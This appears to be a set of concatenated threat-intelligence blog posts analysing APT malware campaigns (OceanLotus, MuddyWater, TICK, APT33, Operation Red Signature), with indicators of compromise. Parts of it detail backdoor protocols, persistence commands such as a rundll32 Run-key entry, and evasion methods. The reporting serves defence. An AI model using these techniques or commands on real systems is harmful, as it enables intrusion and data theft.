infoClient is reponsible for collecting OS info, submitting this info to its C&C servers (the servers are malicious in nature), and receiving additional C&C communication information.


Meanwhile, runHandle is responsible for the backdoor capabilities.


Figure 9.


The main functions of the backdoor infoClient fills up the variables in HandlePP class.


Figure 10.


List of variables belonging to the HandlePP class clientID is an MD5 hash derived from the environment variables, while strClientID is a hexadecimal representation of clientID.


All strings below are encrypted via AES256 and base64 encoding.


The HandlePP::getClientID method uses the following environment variables:  Figure 11. Serial number  Figure 12.


Hardware UUID  Figure 13.


MAC address  Figure 14.


Randomly generated UUID


For the initial information packet, the backdoor also collects the following:  Figure 15.


OS version Running getpwuid ->pw_name , scutil - -get ComputerName, and uname –m will provide the following returns respectively:  Mac OSX 10.12.


System Administrator <owner’s name>'s iMac x86_64  All these data are scrambled and encrypted before sending to the C&C server.


The process is detailed below: Scrambling Class Parser has several methods, one for each variable type – Parser::inBytes, Parser::inByte, Parser::inString, and Parser::inInt.


Figure 16.


Parser::inBytes method


If clientID equals the following sequence of bytes B4 B1 47 BC 52 28 28 73 1F 1A 01 6B FA 72 C0 73, then the scrambled version is computed using the third parameter (0x10), which is treated as a DWORD.


Each quadruple of bytes is XOR-ed with it, as shown in example below.


Figure 17.


Parser::inByte method


When scrambling one byte, the scrambler first determines if the byte value is odd or even.


If the value is odd, it adds the byte, along with one more randomly generated byte, to the array.


In the case of an even value, the randomly generated byte is added first, followed by the byte being added.


In the case above, the third parameter is ‘1’ = 0x31, which is an odd number.


This means that it adds byte ‘1’ and one randomly generated byte to the final scrambled array.


Figure 18.


Parser::inString method


When scrambling a string, the scrambler generates a 5-byte long sequence.


First, it generates one random byte, followed by three zero bytes, one random byte, and finally, the byte with the length of the string.


Let’s say we want to scramble string ‘Mac OSX 10.12.’


Its length is 13 = 0x0d, and the two random bytes are 0xf3 and 0x92.


The final 5-byte sequence looks like F3 00 00 00 92 0D.


The original string is then XOR’ed with the 5-byte sequence.


Figure 19.


Scrambling ‘Mac OSX 10.12’ Encryption


The scrambled byte sequence is passed onto the constructor of the class Packet::Packet, which creates a random AES256 key and encrypts the buffer with this key.


Encoding the encryption key


In order for the C&C server to decrypt the encrypted data, the randomly generated AES256 key must be included in the packet along with the encrypted data.


However, this key is also scrambled with operation XOR 0x13 followed by ROL 6 operation applied to each byte.


Figure 20. Function for scrambling AES256 key in the outgoing packet


Some screenshots taken during scrambling and encryption process:  Figure 21.


The highlighted bytes represent the scrambled computer info  Figure 22.


Randomly generated AES256 key  Figure 23. Scrambled AES256 key (0xC1 XOR 0x13 = 0xD2, 0xD2 ROL 6 = 0xB4) etc.)


Figure 24.


Computer info encrypted with AES256 key  Figure 25.


Screenshot of the final payload to be sent to C&C server.


The scrambled AES256 key is marked green, while the encrypted computer info is marked red.


Other bytes are just randomly generated noise.


When the backdoor receives the response from the C&C server, the final payload needs to be decoded again in a similar manner via decryption and scrambling.


Packet::getData decrypts the received payload and Converter::outString descrambles the result.


The received data from the C&C server include the following information:  HandlePP::urlRequest (/appleauth/static/cssj/N252394295/widget/auth/app.css) HandlePP::keyDecrypt


These data will be later used in the C&C communication, as shown in the Wireshark screenshot below.  Figure 26. Communication with the C&C server after the exchange of OS packet info


Meanwhile, the runHandle method of the main backdoor loop will call for the requestServer method with the following backdoor commands (each command has one byte long code and is extracted by Packet::getCommand):  Figure 27.


The getCommand method


The figure below shows the example of two of several possible command codes.


Both create one thread, and each thread is responsible for either downloading and executing the file or running a command line program in the terminal:


Figure 28. Commands used for downloading and executing, and running a command in terminal  Figure 29.


Commands used in uploading and downloading file Figure 30.


Supported commands and their respective codes Mitigation


Malicious attacks targeting Mac devices are not as common as its counterparts, but the discovery of this new MacOS backdoor that is presumably distributed via phishing email calls for every user to adopt best practices for phishing attacks regardless of operating system.


End users can benefit from security solutions such as Trend Micro Antivirus for Mac, which provides comprehensive security and multi-device protection against cyberthreats.


Enterprises can benefit from Trend Micro’s Smart Protection Suites with XGen™ security, which infuses high-fidelity machine learning into a blend of threat protection techniques to eliminate security gaps across any user activity and any endpoint.   Indicators of Compromise (IoCs)  C&C servers  Ssl[.]arkouthrie[.]com s3[.]hiahornber[.]com widget[.]shoreoa[.]com    SHA256 Delivery document (W2KM_OCEANLOTUS.A): 2bb855dc5d845eb5f2466d7186f150c172da737bfd9c7f6bc1804e0b8d20f22a Dropper (OSX_OCEANLOTUS.D): 4da8365241c6b028a13b82d852c4f0155eb3d902782c6a538ac007a44a7d61b4 Backdoor (OSX_OCEANLOTUS.D): 673ee7a57ba3c5a2384aeb17a66058e59f0a4d0cddc4f01fe32f369f6a845c8f            Tags  Malware | APT & Targeted Attacks | Endpoints | Research | Network


MuddyWater is a well-known threat actor group that has been active since 2017.


They target groups across Middle East and Central Asia, primarily using spear phishing emails with malicious attachments.


Most recently they were connected to a campaign in March that targeted organizations in Turkey, Pakistan, and Tajikistan.


The group has been quite visible since the initial 2017 Malwarebytes report on their elaborate espionage attack against the Saudi Arabian government.


After that first report, they were extensively analyzed by other security companies.


Through all that, we’ve only seen minor changes to the tools, techniques and procedures (TTPs) they have used.


However, we recently observed a few interesting delivery documents similar to the known MuddyWater TTPs.


These documents are named Raport.doc or Gizli Raport.doc (titles mean “Report” or “Secret Report” in Turkish) and maliyeraporti (Gizli Bilgisi).doc (“finance (Confidential Information)” in Turkish) — all of which were uploaded to Virus Total from Turkey.


Our analysis revealed that they drop a new backdoor, which is written in PowerShell as MuddyWater’s known POWERSTATS backdoor.


But, unlike previous incidents using POWERSTATS, the command and control (C&C) communication and data exfiltration in this case is done by using the API of a cloud file hosting provider.


The screenshots below show the malicious attachments, which are disguised to look real, similar to any typical phishing document.


The images show blurry logos that we’ve identified as belonging to various Turkish government organizations — the logos add to the disguise and lure users into believing the documents are legitimate.


Then the document notifies users that it is an “old version” and prompts them to enable macros to display the document properly.


If the targeted victims enable macros, then the malicious process continues.


Figure 1.


Fake Office document tries to get user to enable malicious macros.


The blurred document contains logos of different Turkish government entities  Figure 2.


A similar fake Office document has blurred logos for a Turkish government institution related to taxes The macros contain strings encoded in base52, which is rarely used by threat actors other than MuddyWater.


The group is known to use it to encode their PowerShell backdoor.


After enabling macros, a .dll file (with a PowerShell code embedded) and a .reg file are dropped into %temp% directory.


The macro then runs the following command: "C:\Windows\System32\cmd.exe" /k %windir%\System32\reg.exe IMPORT %temp%\B.reg


Running this registry file adds the following command to the Run registry key: rundll32 %Temp%\png.dll,RunPow  Figure 3.


Run registry key We assume that RunPow stands for “run PowerShell,” and triggers the PowerShell code embedded inside the .dll file.


The PowerShell code has several layers of obfuscation.


The first layer contains a long base64 encoded and encrypted code with variables named using English curse words.


Figure 4.


Encrypted PowerShell code


The other layers are simple obfuscated PowerShell scripts.


But the last layer is the main backdoor body.


This backdoor has some features similar to a previously discovered version of the Muddywater backdoor.


Firstly, this backdoor collects the system information and concatenates various pieces of information into one long string.


The data retrieved includes: OS name, domain name, user name, IP address, and more.


It uses the separator "::" between each piece of information.


Figure 5. String of system information collected from the victim’s system


The previous MuddyWater version collected similar information but used a different separator:  Figure 6.


String of system information collected from the victim’s system, from older Muddywater backdoor sample


As mentioned above, another difference between this and older Muddywater backdoors is that C&C communication is done by dropping files to the cloud provider.


When we analyzed further, we saw that the communication methods use files named <md5(hard disk serial number)> with various extensions depending on the purpose of the file.


.cmd - text file with a command to execute .reg - system info as generated by myinfo() function, see screenshot above .prc - output of the executed .cmd file, stored on local machine only .res - output of the executed .cmd file, stored on cloud storage   Figure 7. Example of .cmd file content  Figure 8. Example of .reg file content  Figure 9.Example of .res file content


In both the older version of the MuddyWater backdoor and this recent backdoor, these files are used as an asynchronous mechanism instead of connecting directly to the machine and issuing a command.


The malware operator leaves a command to execute in a .cmd file, and comes back later to retrieve the .res files containing the result of the issued command.


However, in the older MuddyWater backdoor their content was encoded differently.


The files are temporarily stored on compromised websites.


The more recent backdoor uses a legitimate cloud storage service provider instead.


The .res file can be decoded by replacing “00” with empty string, then converting from hex to ASCII, then reversing the string.


The figure below is the decoded .res file from Figure 9.


Figure 10.


Decoded .res file


The backdoor supports the following commands:  $upload - upload a file to file hosting service $dispos - remove persistence $halt - exit $download - download file from a hosting service No prefix - execute command via Invoke Expression (IEX), a PowerShell command that runs commands or expressions on the local computer  Based on our analysis, we can confirm that the targets were Turkish government organizations related to the finance and energy sectors.


This is yet another similarity with previous MuddyWater campaigns, which were known to have targeted multiple Turkish government entities.


If the group is responsible for this new backdoor, it shows how they are improving and experimenting with new tools.


Solutions and Recommendations


The main delivery method of this type of backdoor is spear phishing emails or spam that uses social engineering to manipulate targets into enabling malicious documents.


It is important that employers and employees across all organizations and enterprises be able to identify phishing attacks and distinguish legitimate emails from malicious ones.


Awareness of these threats and the tactics they use is an effective first step.


Telltale signs of social engineering include “too-good-to-be-true” offers and messages that lack context.


In general, users should always practice caution when it comes to email.


This includes avoiding clicking on links or downloading any documents unless certain that these are legitimate.


Apart from knowledge and awareness of phishing and social engineering, it is also important to be prepared with effective and layered security solutions.


Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to today’s stealthy malware, and targeted attacks in real time.


It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats even without any engine or pattern update.


Trend Micro™ Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.


Trend Micro™ Email Inspector and InterScan™ Web Security prevent malware from ever reaching end users.


At the endpoint level, Trend Micro™ Smart Protection Suites deliver several capabilities that minimize the impact of these attacks.


These solutions are powered by the Trend Micro XGen™ security, which provides a cross-generational blend of threat defense techniques against a full range of threats for data centers, cloud environments, networks, and endpoints.


It features high-fidelity machine learning to secure the gateway and endpoint data and applications, and protects physical, virtual, and cloud workloads.


Indicators of Compromise  SHA256 Type Detection Name 41ee0ab77b474b0c84a1c25591029533f058e4454d9f83ba30159cc6309c65d1


Delivery documents W2KM_POWRUN.A 43080479eb1b00ba80c34272c5595e6ebdc6b0ffabcdc2c40ea2af49fcc43db4 Dropped DLL file Backdoor.Win32.POWRUN.AA 4f509354d8b3152a40c64ce61f7594d592c1256ad6c0829760b8dbdcb10579a2 Weaponized document BACKDOOR.WIN32.POWRUN.AA 685e91bc4e98c38bda7c8e57d5d40a11e7cf48bb43859bb799813f0146a14fcf Dropped DLL file BKDR_POWRUN.B 888a6f205ac9fc40d4898d8068b56b32f9692cb75f0dd813f96a7bd8426f8652 Dropped DLL file Trojan.W97M.POWRUN.AA 0acd10b14d38a4ac469819dfa9070106e7289ecf7360e248b7f10f868c2f373d Dropped DLL file BKDR_POWRUN.A          Tags  Cloud | Malware | APT & Targeted Attacks | Endpoints | Research


While we have been following cyberespionage group TICK (a.k.a. “BRONZE BUTLER” or “REDBALDKNIGHT”) since 2008, we noticed an unusual increase in malware development and deployments towards November 2018.


We already know that the group uses previously deployed malware and modified tools for obfuscation, but we also found TICK developing new malware families capable of detection evasion for initial intrusion, as well as escalation of administrative privileges for subsequent attacks and data collection.


We also found the group using legitimate email accounts and credentials for the delivery of the malware, zeroing in on industries with highly classified information: defense, aerospace, chemical, and satellite industries with head offices in Japan and subsidiaries in China.


Given their targets, we have named this campaign “Operation ENDTRADE,” and identified some of the findings in our research “Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data”.


This research paper was submitted and presented for the DeepINTEL Security Intelligence 2019 Conference on November 27, 2019 in Vienna, Austria.


Targeting and malware delivery Figure 1.


Operation ENDTRADE’s timeline


As part of their attacks in January 2019, TICK was conducting their research by compromising a Japanese economic research company and a public relations (PR) agency to steal email credentials and files as decoy documents.


These email addresses were used for spear phishing, prompting potential victim organizations to open the attachments with malware payloads.


Meanwhile, the documents were embedded with malware, and sent to individuals and companies knowledgeable in Japanese or Chinese, and interested in the Chinese economy.


The emails had the following features:  They were sent from legitimate email accounts They were written as legitimate reports and prompted the users to open the attachments They contained subject topics related to “salary rate increase” or “job market,” or with special interests in the economic affairs of China such as the US-China trade mandates   Figure 2.


Spear phishing sample in fluent Japanese


Based on the language that was hardcoded in the samples we found, TICK appeared to be targeting Japanese organizations with subsidiaries in China to serve as footholds for intrusion: TICK hard-coded two code pages 932 and 936, referring to Japanese and Simplified Chinese characters respectively.


Moreover, we found successful transfers of malicious executable files in the shared folder from a Chinese subsidiary with an infected desktop, and an employee in Japan that executed the said file.


Figure 3. Language code pages


While we found intrusions in a large number of companies in the abovementioned industries before May 2019, further analysis revealed that one of the main targets was the defense sector.


We found TICK trying to steal military-related documents from the victim network during an extended assistance for incident response in the region.


However, TICK seemed to shift their attention to the chemical industry by mid-May, which may indicate the group’s sponsor organization’s goal: To steal proprietary and classified information such as military data and advanced materials.


Malware Analysis


Our research lists some of the new and adjusted malware routines we found from Operation ENDTRADE, which we named based on their characteristic program database (PDB) strings.


For a complete list and analyses of the trojans, downloaders, and modified tools, you may access the research brief here.


Figure 4.


New downloaders and trojans DATPER While this backdoor routine has been associated with TICK’s weapons arsenal, the sample we derived from this campaign had two adjusted mutex objects — d0ftyzxcdrfdqwe and *&Hjgfc49gna-2-tjb — that retrieve information from the victim’s machine.


The latest variant also has a new set of parameters that allow it to evade anti-virus (AV) product pattern detections, implying the ease by which the group can change their routines to suit their goals.


Figure 5.


DATPER’s new mutex with separate parameters down_new


This malware combines features of existing trojans in the malware family’s development, based on the adjustments TICK made as we analyzed their test versions.


It adds features (listed below) that can be found separately on previous iterations:  Adds Autorun to the registry.


Gets MAC address and volume information to send back to the C&C. Executes only during working hours (8:00AM-6:00PM, using kernel32.GetLocalTime API)


Uses AES encryption and base64 encoding method to encrypt the call back message.


Uses legitimate websites for the C&C server.


Detects anti-virus products and processes.


Figure 6. Code showing down_new’s command function  Table 1.


command list


As we studied its processes to compare with the others, the call back information stood out: The HTTP post header is hard-coded in the sample, getting the infected machine’s specific information to single out the identity of the users.


As a cyber-espionage group with specific goals based on their sponsoring organization’s objectives, TICK only goes after specific targets and only uses other non-targeted individuals and enterprises as footholds to meet their purposes.


Figure 7.


down_new collects home phone data and URL path Avenger


Our analysis found that Avenger has a number of variants and versions depending on their targets.


For example, some variants have autorun functions while others execute a sleep mode upon system infection.


We found that the downloader has three stages:  The first stage collects volume information, AV product, and OS bits version from the host, and sends it to the command and control (C&C) server to ensure that the host is the intended target.   Figure 8.


First stage: Information collection  2.


It then checks if the host matches their C&C server reference.


Avenger collects the victim’s detailed information from the system by browsing the folders, files, and domain information.


Figure 9.


Second stage: Collected information is written into a .txt file  3. If the host doesn’t exist, Avenger will download an image with an embedded malware hidden via steganography and extract a backdoor.  Figure 10.


Third stage: Sending the encrypted file to the C&C


While steganography is always used as part of TICK’s malware techniques, we found that the group used a more sophisticated steganography technique in this campaign.


Figure 11. Backdoor found in the steganography image  Figure 12.


Upgraded steganography technique


We found a newer version of Avenger with a clearer code structure and internal IP testing URL (aptly named Avenger2 in the PDB strings), though the rest of the components had minimal differences with the previous version.


Figure 13. Avenger2 with internal URL Casper Casper is a modified version of the Cobalt Strike backdoor, showing the team server SHA1 hash if the controller connects to the C&C.


If accessed by the client, Cobalt Strike confirms with the user if they recognize and match the SHA1 hash of a specific team server’s SSL certificate.


Figure 14.


Casper C&C with Cobalt Strike’s server fingerprint


The backdoor is usually hidden in the steganography photo and uses several techniques and tools to bypass AV detection.


One technique involves launching itself with a legitimate Windows application with Dynamic Link Library (DLL) side loading techniques.


Another involves injecting the backdoor’s shellcode into svchost.exe.


Figure 15. Shellcode injected to svchost.exe


Publicly available RATs and modified tools


Included in all the malware routines, we also found TICK using publicly available remote access trojans (RATs) and ope n source tools, and either modified or imported the techniques into their malware.


For instance, they cloned Lilith RAT from GitHub, studied and implemented its features into their customized backdoor under continued development.


The list of modified tools the group used include Mimikatz, RAR compression tool, port mapping tool, and screen capture.


Figure 16. Modified screen capture tool  Figure 17.


Modified Mimikatz Conclusion TICK is an organized and persistent cyber espionage group specialized in targeting high-value individuals and organizations, with the skills and resources needed to coordinate sophisticated attacks.


This operation not only highlights the need for stronger monitoring systems foremost in countries’ critical infrastructures and multinational enterprises, but also firmer operational chains of command and redundant security policies established.


Persistent criminal groups will continue to target enterprises, and will look for security gaps to exploit to gain unauthorized entry.


Organizations with foreign subsidiaries can make it difficult to take control and implement security procedures and policies, making monitoring, isolating, investigating, incident response, and recovery more difficult.


To top it all, employees’ security awareness and consciousness will remain a significant part of making sure the security measures in place are maintained for regular operations.


Trend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to today’s stealthy malware and targeted attacks in real-time.


It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats like TICK’s attacks even without any engine or pattern update.


Trend Micro™ Deep Security™ provides virtual patching that protects endpoints from threats that abuses unpatched vulnerabilities.


Trend Micro’s suite of security solutions is powered by XGen™ security, which features high-fidelity machine learning to secure the gateway and endpoint data and applications.


XGen™ protects against today’s purpose-built threats that bypass traditional controls, exploit known, unknown, or undisclosed vulnerabilities, and either steal or encrypt personally-identifiable data.


For the full technical analyses of all the malware, techniques, tools, MITRE ATT&CK techniques and indicators of compromise (IoCs) we found in this campaign, download the research brief, “Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data”.           Tags  Malware | APT & Targeted Attacks | Endpoints | Research |


Network


This article is part of a research paper that dives into cyberattacks on the oil and gas industry.


It provides a more comprehensive look at APT33 and other critical threats.


Read the full paper here.


This blog was originally published on November 13, 2019.


Updated on November 27, 2019 at 11:00 PM PST to add new information about a C&C domain.


The threat group regularly referred to as APT33 is known to target the oil and aviation industries aggressively.


This threat group has been reported on consistently for years, but our recent findings show that the group has been using about a dozen live Command and Control (C&C) servers for extremely narrow targeting.


The group puts up multiple layers of obfuscation to run these C&C servers in extremely targeted malware campaigns against organizations in the Middle East, the U.S., and Asia.


We believe these botnets, each comprising a small group of up to a dozen infected computers, are used to gain persistence within the networks of select targets.


The malware is rather basic, and has limited capabilities that include downloading and running additional malware.


Among active infections in 2019 are two separate locations of a private American company that offers services related to national security, victims connecting from a university and a college in the U.S., a victim most likely related to the U.S. military, and several victims in the Middle East and Asia.


APT33 has also been executing more aggressive attacks over the past few years.


For example, for at least two years the group used the private website of a high-ranking European politician (a member of her country’s defense committee) to send spear phishing emails to companies that are part of the supply chain of oil products.


Targets included a water facility that is used by the U.S. army for the potable water supply of one of its military bases.


These attacks have likely resulted in concrete infections in the oil industry.


For example, in the fall of 2018, we observed communications between a U.K.-based oil company with computer servers in the U.K. and India and an APT33 C&C server.


Another European oil company suffered from an APT33 related malware infection on one of their servers in India for at least 3 weeks in November and December 2018.


There were several other companies in oil supply chains that had been compromised in the fall of 2018 as well.


These compromises indicate a big risk to companies in the oil industry, as APT33 is known to use destructive malware.


Date From Address Subject 12/31/16 recruitment@alsalam.aero Job Opportunity 4/17/17 recruitment@alsalam.aero Vacancy Announcement 7/17/17 careers@ngaaksa.com Job Openning 9/11/17 jobs@ngaaksa.ga Job Opportunity 11/20/17 jobs@dyn-intl.ga Job Openning 11/28/17 jobs@dyn-intl.ga Job Openning 3/5/18 jobs@mail.dyn-corp.ga Job Openning 7/2/18 careers@sipchem.ga


Job Opportunity SIPCHEM 7/30/18 jobs@sipchem.ga


Job Openning 8/14/18 jobs@sipchem.ga Job Openning 8/26/18 careers@aramcojobs.ga


Latest Vacancy 8/28/18 careers@aramcojobs.ga Latest Vacancy 9/25/18 careers@aramcojobs.ga


AramCo Jobs 10/22/18 jobs@samref.ga


Job Openning at SAMREF


Table 1.


Spear phishing campaigns of APT33.


Source: Trend Micro’s Smart Protection Network


The first two email addresses in the table above (ending in .com and .aero) are being spoofed by the threat group.


However, the addresses ending in .ga are from the attacker's own infrastructure.


The addresses are all impersonating known aviation and oil and gas companies.


Aside from the relatively noisy attacks of APT33 against oil product supply chains, we found that APT33 has been using several C&C domains for small botnets comprised of about a dozen bots each.


It appears that APT33 took special care to make tracking more difficult.


The C&C domains are usually hosted on cloud hosted proxies.


These proxies relay URL requests from the infected bots to backends at shared webservers that may host thousands of legitimate domains.


The backends report bot data back to a data aggregator and bot control server that is on a dedicated IP address.


The APT33 actors connect to these aggregators via a private VPN network with exit nodes that are changed frequently.


The APT33 actors then issue commands to the bots and collect data from the bots using these VPN connections.


In the fall of 2019 we counted 10 live bot data aggregating and bot controlling servers and tracked a couple of them for months.


These aggregators get data from very few C&C servers (only 1 or 2), with only up to a dozen victims per unique C&C domain.


The table below lists some of the older C&C domains that are still live today.


Domain Created oorgans.com 5/28/16 suncocity.com 5/31/16 zandelshop.com 6/1/16


simsoshop.com


zeverco.com 6/5/16 qualitweb.com 6/6/16 service-explorer.com 3/3/17 service-norton.com 3/6/17 service-eset.com 3/6/17 service-essential.com 3/7/17 update-symantec.com 3/12/17


Table 2. APT33 C&C domains for extreme narrow targeting  Figure 1. Schema showing the multiple obfuscation layers that APT33 uses


Threat actors often use commercial VPN services to hide their whereabouts when administering C&C servers and doing reconnaissance.


But besides using VPN services that are available for any user, we also regularly see actors using private VPN networks that they set up for themselves.


Setting up a private VPN can be easily done by renting a couple of servers from datacenters around the world and using open source software like OpenVPN.


Though the connections from private VPN networks still come from seemingly unrelated IP addresses around the world, this kind of traffic is actually easier to track.


Once we know that an exit node is mainly being used by a particular actor, we can have a high degree of confidence about the attribution of the connections that are made from the IP addresses of the exit node.


For example, besides administering C&C servers from a private VPN exit node, an actor might also be doing reconnaissance of targets’ networks.


APT33 likely uses its VPN exit nodes exclusively.


We have been tracking some of the group’s private VPN exit nodes for more than a year and we have listed known associated IP addresses in the table below.


The indicated timeframes are conservative; it is likely that the IP addresses have been used for a longer time.


IP address


First seen  Last seen 5.135.120.57 12/4/18 1/24/19 5.135.199.25 3/3/19 3/3/19 31.7.62.48 9/26/18 9/29/18 51.77.11.46 7/1/19 7/2/19 54.36.73.108 7/22/19 10/05/19 54.37.48.172 10/22/19 11/05/19 54.38.124.150 10/28/18 11/17/18 88.150.221.107 9/26/19 11/07/19 91.134.203.59 9/26/18 12/4/18 109.169.89.103 12/2/18 12/14/18 109.200.24.114 11/19/18 12/25/18 137.74.80.220 9/29/18 10/23/18 137.74.157.84 12/18/18 10/21/19 185.122.56.232 9/29/18 11/4/18 185.125.204.57 10/25/18 1/14/19 185.175.138.173 1/19/19 1/22/19 188.165.119.138 10/8/18 11/19/18 193.70.71.112 3/7/19 3/17/19 195.154.41.72 1/13/19 1/20/19 213.32.113.159 6/30/19 9/16/19 216.244.93.137 12/10/18 12/21/18   Table 3.


IP addresses associated with a few private VPN exit nodes connected to APT33


It appears that these private VPN exit nodes are also used for reconnaissance of networks that are relevant to the supply chain of the oil industry.


More concretely, we have witnessed some of the IP addresses in Table 3 doing reconnaissance on the network of an oil exploration company and military hospitals in the Middle East, as well as an oil company in the U.S..


Figure 2. APT33’s usage of a private VPN network APT33 used its private VPN network to access websites of penetration testing companies, webmail, websites on vulnerabilities, and websites related to cryptocurrencies, as well as to read hacker blogs and forums.


APT33 also has a clear interest in websites that specialize in the recruitment of employees in the oil and gas industry.


We recommend companies in the oil and gas industry to cross-relate their security log files with the IP addresses listed above.


Security recommendations


The continued modernization of facilities for oil, gas, water, and power is making it more difficult to secure them.


Outright attacks, readily exploitable vulnerabilities, as well as exposed SCADA/HMI are serious issues.


Here are some of the best practices that these organizations can adopt:  Establish a regular patching and update policy for all systems.


Download patches as soon as possible to prevent cybercriminals from exploiting these security flaws.


Improve employee awareness on the latest attack techniques that cybercriminals use.


IT administrators should apply the principle of least privilege to make monitoring of inbound and outbound traffic easier.


Install a multilayered protection system that can detect and block malicious intrusions from the gateway to the endpoint.


Securing supply chains to these complex and often multinational systems is also difficult, as they usually have necessary third-party suppliers that are embedded in their core operations.


These parties may be overlooked in terms of security, and vulnerabilities in the communication or connections with them are often targeted by cybercriminals.


Read our supply chain attack research and our security recommendations here.


As mentioned above, APT33 is known to use spear phishing emails to gain entry into a target’s network, and given their malicious activity the threat is definitively serious.


To defend against spam and email threats, businesses can consider Trend Micro™ endpoint solutions such as Trend Micro Smart Protection Suites and Worry-Free™ Business Security.


Trend Micro Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs.


Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.


It protects Microsoft Exchange, Microsoft Office 365, Google Apps, and other hosted and on-premises email solutions.


Indicators of Compromise


File name SHA256 Detection Name MsdUpdate.exe e954ff741baebb173ba45fbcfdea7499d00d8cfa2933b69f6cc0970b294f9ffd Trojan.Win32.NYMERIA.MLR MsdUpdate.exe b58a2ef01af65d32ca4ba555bd72931dc68728e6d96d8808afca029b4c75d31e Trojan.Win32.SCAR.AB MsdUpdate.exe a67461a0c14fc1528ad83b9bd874f53b7616cfed99656442fb4d9cdd7d09e449 Trojan.Win32.SCAR.AC MsdUpdate.exe c303454efb21c0bf0df6fb6c2a14e401efeb57c1c574f63cdae74ef74a3b01f2 Trojan.Win32.NYMERIA.MLW MsdUpdate.exe 75e6bafc4fa496b418df0208f12e688b16e7afdb94a7b30e3eca532717beb9ba Trojan.Win32.SCAR.AD MsdUpdate.exe 8fb6cbf6f6b6a897bf0ee1217dbf738bce7a3000507b89ea30049fd670018b46 Trojan.Win32.SCAR.AD DysonPart.exe ba9d76cca6b5c7308961cfe3739dc1328f3dad9a824417fad73b842b043daa1a Trojan.Win32.SCAR.AD Unknown 07e1baf1d0207a139bcf39c60354666496e4331381d36eef9359120b1d8497f1 Trojan.Win32.SCAR.AD


Tags  Malware | APT & Targeted


Attacks | Endpoints | Research


Together with our colleagues at IssueMakersLab, we uncovered Operation Red Signature, an information theft-driven supply chain attack targeting organizations in South Korea.


We discovered the attacks around the end of July, while the media reported the attack in South Korea on August 6.


The threat actors compromised the update server of a remote support solutions provider to deliver a remote access tool called 9002 RAT to their targets of interest through the update process.


They carried this out by first stealing the company’s certificate then using it to sign the malware.


They also configured the update server to only deliver malicious files if the client is located in the range of IP addresses of their target organizations.


9002 RAT also installed additional malicious tools: an exploit tool for Internet Information Services (IIS) 6 WebDav (exploiting CVE-2017-7269) and an SQL database password dumper.


These tools hint at how the attackers are also after data stored in their target’s web server and database.


Figure 1.


Operation Red Signature’s attack chain


Here’s how Operation Red Signature works:  The code-signing certificate from the remote support solutions provider is stolen.


It’s possible that the certificate was stolen as early as April 2018, as we found a ShiftDoor malware (4ae4aed210f2b4f75bdb855f6a5c11e625d56de2) on April 8 that was signed with the stolen certificate.


Malicious update files are prepared, signed with the stolen certificate, and uploaded to the attacker’s server (207[.]148[.]94[.]157).


The update server of the company is hacked.


The update server is configured to receive an update.zip file from the attackers’ server if a client is connecting from a specific range of IP addresses belonging to their targeted organizations.


The malicious update.zip file is sent to the client when the remote support program is executed.


The remote support program recognizes the update files as normal and executes the 9002 RAT malware inside it.


9002 RAT downloads and executes additional malicious files from the attackers’ server.


Technical analysis


The update.zip file contains an update.ini file, which has the malicious update configuration that specifies the remote support solution program to download file000.zip and file001.zip and extract them as rcview40u.dll and rcview.log to the installation folder.


The program will then execute rcview40u.dll, signed with the stolen certificate, with Microsoft register server (regsvr32.exe).


This dynamic-link library (DLL) is responsible for decrypting the encrypted rcview.log file and executing it in memory.


9002 RAT is the decrypted rcview.log payload, which connects to the command-and-control (C&C) server at 66[.]42[.]37[.]101.  Figure 2. Contents of the malicious update configuration   Figure 3. How the compromised update process launches the 9002 RAT malware  Figure 4.


Known 9002 RAT string pattern inside the decrypted payload of the rcview.log file Correlating 9002 RAT


Delving into 9002 RAT, we found that it was compiled on July 17, 2018, and that the configuration files inside update.zip were created on July 18.


Our analysis of an update log file we found reveals the remote support program’s update process started around 13:35 on July 18, with the 9002 RAT being downloaded and launched.


We also saw the RAT file used for this specific attack was set to be inactive in August, so we can construe that the RAT’s activity was rather short-lived (from July 18 to July 31).


Figure 5. Compilation timestamp on 9002 RAT sample (top), timestamp of the malicious configuration (center), and snapshot of the program’s update log (bottom)


Figure 6. Code snippet showing 9002 RAT checking the system time and setting itself to sleep in August 2018 Additional malware tools


The 9002 RAT also serves as a springboard for delivering additional malware.


Most of these are downloaded as files compressed with the Microsoft cabinet format (.cab).


This is most likely done to avoid detection by antivirus (AV) solutions.


Here’s a list of files that 9002 RAT retrieves and delivers to the affected system:


Filename Tool Purpose dsget.exe DsGet


View active directory objects dsquery.exe DsQuery


Search for active directory objects sharphound.exe SharpHound


Collect active directory information aio.exe


All In One (AIO)


Publicly available hack tool ssms.exe SQL Password dumper


Dump password from SQL database printdat.dll RAT (PlugX variant)


Remote access tool w.exe IIS 6 WebDav Exploit Tool Exploit tool for CVE-2017-7269 (IIS 6) Web.exe WebBrowserPassView Recover password stored by browser smb.exe Scanner


Scans the system’s Windows version and computer name m.exe Custom Mimikatz (including 32bit / 64bit file)


Verify computer password and active directory credentials   Figure 7.


Downloaded Web.ex_ cabinet file (left) and decompressed Web.exe file (right) One of the downloaded files printdat.dll, which is another RAT.


It is a variant of PlugX malware, and connects to the same C&C server (66[.]42[.]37[.]101).  Figure 8.


Internal PlugX date dword value inside the printdat.dll file Mitigating supply chain attacks


Supply chain attacks don’t just affect users and businesses — they exploit the trust between vendors and its clients or customers.


By trojanizing software/applications or manipulating the infrastructures or platforms that run them, supply chain attacks affects the integrity and security of the goods and services that organizations provide.


In healthcare, for instance, where the industry heavily relies on third-party and cloud-based services, supply chain attacks can risk the privacy of personally identifiable data and intellectual property, disrupt hospital operations, and even endanger patient health.


And when stacked up with regulations such as the EU General Data Protection and Regulation (GDPR), the impact can be exacerbated.


